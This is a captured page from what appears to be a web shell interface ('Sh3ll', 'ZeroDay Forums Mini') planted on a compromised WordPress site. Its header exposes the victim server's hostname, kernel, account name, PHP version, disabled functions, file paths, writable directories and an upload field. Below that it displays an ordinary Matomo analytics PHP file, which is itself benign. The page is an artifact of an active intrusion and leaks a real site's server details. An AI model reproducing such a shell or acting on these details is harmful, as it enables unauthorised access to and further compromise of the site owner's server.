Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium84.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : claqxcrl ( 523)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /home/claqxcrl/anfangola.com/wp-content/plugins/matomo/app/core/DataTable/Renderer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/claqxcrl/anfangola.com/wp-content/plugins/matomo/app/core/DataTable/Renderer/Console.php
<?php

/**
 * Matomo - free/libre analytics platform
 *
 * @link https://matomo.org
 * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later
 *
 */
namespace Piwik\DataTable\Renderer;

use Piwik\DataTable;
use Piwik\DataTable\Renderer;
/**
 * Simple output
 */
class Console extends Renderer
{
    /**
     * Prefix
     *
     * @var string
     */
    protected $prefixRows = '#';
    /**
     * Computes the dataTable output and returns the string/binary
     *
     * @return string
     */
    public function render()
    {
        return $this->renderTable($this->table);
    }
    /**
     * Sets the prefix to be used
     *
     * @param string $str new prefix
     */
    public function setPrefixRow($str)
    {
        $this->prefixRows = $str;
    }
    /**
     * Computes the output of the given array of data tables
     *
     * @param DataTable\Map $map data tables to render
     * @param string $prefix prefix to output before table data
     * @return string
     */
    protected function renderDataTableMap(DataTable\Map $map, $prefix)
    {
        $output = "Set<hr />";
        $prefix = $prefix . '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;';
        foreach ($map->getDataTables() as $descTable => $table) {
            $output .= $prefix . "<b>" . $descTable . "</b><br />";
            $output .= $prefix . $this->renderTable($table, $prefix . '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;');
            $output .= "<hr />";
        }
        return $output;
    }
    /**
     * Computes the given dataTable output and returns the string/binary
     *
     * @param DataTable $table data table to render
     * @param string $prefix prefix to output before table data
     * @return string
     */
    protected function renderTable($table, $prefix = "")
    {
        if (is_array($table)) {
            // convert array to DataTable
            $table = DataTable::makeFromSimpleArray($table);
        }
        if ($table instanceof DataTable\Map) {
            return $this->renderDataTableMap($table, $prefix);
        }
        if ($table->getRowsCount() === 0) {
            return "Empty table<br />\n";
        }
        static $depth = 0;
        $output = '';
        $i = 1;
        foreach ($table->getRows() as $row) {
            $dataTableMapBreak = false;
            $columns = array();
            foreach ($row->getColumns() as $column => $value) {
                if ($value instanceof DataTable\Map) {
                    $output .= $this->renderDataTableMap($value, $prefix);
                    $dataTableMapBreak = true;
                    break;
                }
                if (is_string($value)) {
                    $value = "'{$value}'";
                } elseif (is_array($value)) {
                    $value = var_export($value, true);
                }
                $columns[] = "'{$column}' => {$value}";
            }
            if ($dataTableMapBreak === true) {
                continue;
            }
            $columns = implode(", ", $columns);
            $metadata = array();
            foreach ($row->getMetadata() as $name => $value) {
                if (is_string($value)) {
                    $value = "'{$value}'";
                } elseif (is_array($value)) {
                    $value = var_export($value, true);
                }
                $metadata[] = "'{$name}' => {$value}";
            }
            $metadata = implode(", ", $metadata);
            $output .= str_repeat($this->prefixRows, $depth) . "- {$i} [" . $columns . "] [" . $metadata . "] [idsubtable = " . $row->getIdSubDataTable() . "]<br />\n";
            if (!is_null($row->getIdSubDataTable())) {
                $subTable = $row->getSubtable();
                if ($subTable) {
                    $depth++;
                    $output .= $this->renderTable($subTable, $prefix . '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;');
                    $depth--;
                } else {
                    $output .= "-- Sub DataTable not loaded<br />\n";
                }
            }
            $i++;
        }
        $metadata = $table->getAllTableMetadata();
        if (!empty($metadata)) {
            $output .= "<hr />Metadata<br />";
            foreach ($metadata as $id => $metadataIn) {
                $output .= "<br />";
                $output .= $prefix . " <b>{$id}</b><br />";
                if (is_array($metadataIn)) {
                    foreach ($metadataIn as $name => $value) {
                        if (is_object($value) && !method_exists($value, '__toString')) {
                            $value = 'Object [' . get_class($value) . ']';
                        } elseif (is_array($value)) {
                            $value = 'Array ' . json_encode($value);
                        }
                        if (is_array($value)) {
                            $value = json_encode($value);
                        }
                        $output .= $prefix . $prefix . "{$name} => {$value}";
                    }
                }
            }
        }
        return $output;
    }
}

ZeroDay Forums Mini